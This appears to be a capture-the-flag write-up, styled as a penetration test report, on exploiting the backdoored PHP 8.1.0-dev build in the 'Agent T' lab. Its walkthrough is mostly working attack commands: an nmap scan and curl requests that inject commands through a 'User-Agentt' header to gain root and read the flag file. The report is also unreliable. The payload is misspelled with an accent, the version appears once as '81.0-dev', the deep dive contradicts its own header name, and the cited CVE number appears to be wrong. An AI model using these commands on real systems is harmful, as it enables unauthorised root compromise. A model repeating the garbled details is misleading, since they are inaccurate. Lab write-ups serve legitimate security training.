

Penetration Testing Report: Agent T

1. Executive Summary

A security assessment was conducted on the web application container deployed in the **Agent T** laboratory environment. The assessment aimed to evaluate the external attack surface and identify potential pathways leading to a full system compromise.

The evaluation successfully uncovered a **Critical-severity Remote Code Execution (RCE)** flaw originating from a backdoored version of a popular server-side scripting language engine (PHP 8.1.0-dev) running in production. An attacker can completely bypass authentication and execute arbitrary operating system commands with system-level privileges (**root**) via a single manipulated HTTP header.

2. Assessment Overview & Scope

Attribute	Details
Target Machine IP	MACHINE_IP (Lab Environment)
Vulnerability Class	Remote Code Execution (RCE) via Backdoored Component
CVE Reference	CVE-2021-27135 (PHP 8.1.0-dev Backdoor)
Primary Risk Impact	Full System Compromise & Root Account Takeover

3. Technical Walkthrough & Exploitation Steps

Phase 1: Service Enumeration & Reconnaissance

An aggressive port scan was performed against the target IP to discover exposed listening services and determine the software footprint:

```
Bash
nmap -sC -sV -A -p- MACHINE_IP
```

- Findings:** The scan revealed an open HTTP service on port **80**.

- **Banner Grabbing / Header Inspection:** To gather more information about the underlying web engine, a standard `curl` request was dispatched to capture the raw HTTP response headers:
- Bash

```
curl -I http://MACHINE_IP
```

-
- **Vulnerable Component Identified:** The `X-Powered-By` header explicitly disclosed the exact, vulnerable development build of the PHP interpreter:
- HTTP

```
HTTP/1.1 200 OK
```

```
X-Powered-By: PHP/8.1.0-dev
```

```
Content-Type: text/html; charset=UTF-8
```

-

Phase 2: Vulnerability Analysis & Exploitation

The string `PHP/8.1.0-dev` indicates a specific development build from March 2021 that was compromised when unauthorized commits were pushed to the PHP source repository. The malicious modification introduces a backdoor that triggers if an HTTP request contains a header starting with `User-Agentt` (with a double 't').

1. **Crafting the Exploit:** By supplying the specific malicious header string `User-Agentt: zerodiumsystème('<command>');`, arbitrary commands can be fed directly to the system's execution pipeline.
2. **Executing Verification Commands:** A testing request was structured to identify the active runtime context and privileges:
3. Bash

```
curl -H "User-Agentt: zerodiumsystème('whoami; id');" http://MACHINE_IP
```

4.
 - **Response:** The server executed the command seamlessly, outputting `root` and `uid=0(root) gid=0(root) groups=0(root)`.
5. **Data Exfiltration (Flag Capture):** Because the exploit returns immediate interactive output within the page body, a direct filesystem read was initiated to capture the system flag located in the root directory:
6. Bash

```
curl -H "User-Agentt: zerodiumsystème('cat /flag.txt');" http://MACHINE_IP
```

- 7.

4. Vulnerability Deep Dive

VULN-01: Supply Chain Compromise / Backdoor Execution (PHP 8.1.0-dev)

- **Severity:** Critical (CVSS v3.1 Base Score: **10.0** | **CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H**)
- **Description:** The underlying interpreter relies on a compromised release of PHP. The malicious code explicitly monitors incoming **User-Agent** request parameters and pipes their values straight into an internal string-evaluating block. This grants unauthenticated network attackers absolute control over the target runtime container.

5. Remediation & Hardening Guidelines

To fully mitigate this critical security exposure and secure the container asset, execute the following remediation actions:

- **Decommission the Vulnerable PHP Build Immediately:** The development build **81.0-dev** should under no circumstances be active within any testing, staging, or production infrastructure. Update or downgrade the system packages to a verified, stable, and cryptographically signed release branch (e.g., PHP 8.1 Stable, PHP 8.2+, or PHP 8.3).
- **Strip Informational Disclosure Headers:** Harden the production web server configurations (such as Nginx or Apache) to suppress verbose version identification lines. In the **php.ini** file, configure **expose_php = Off** to eliminate the **X-Powered-By** trace entirely.
- **Implement Egress Network Filtering:** Establish rigid outbound firewall rules within the container space to block unsolicited reverse network pathways, drastically lowering the risk of successful shell catchers or external payload downloads.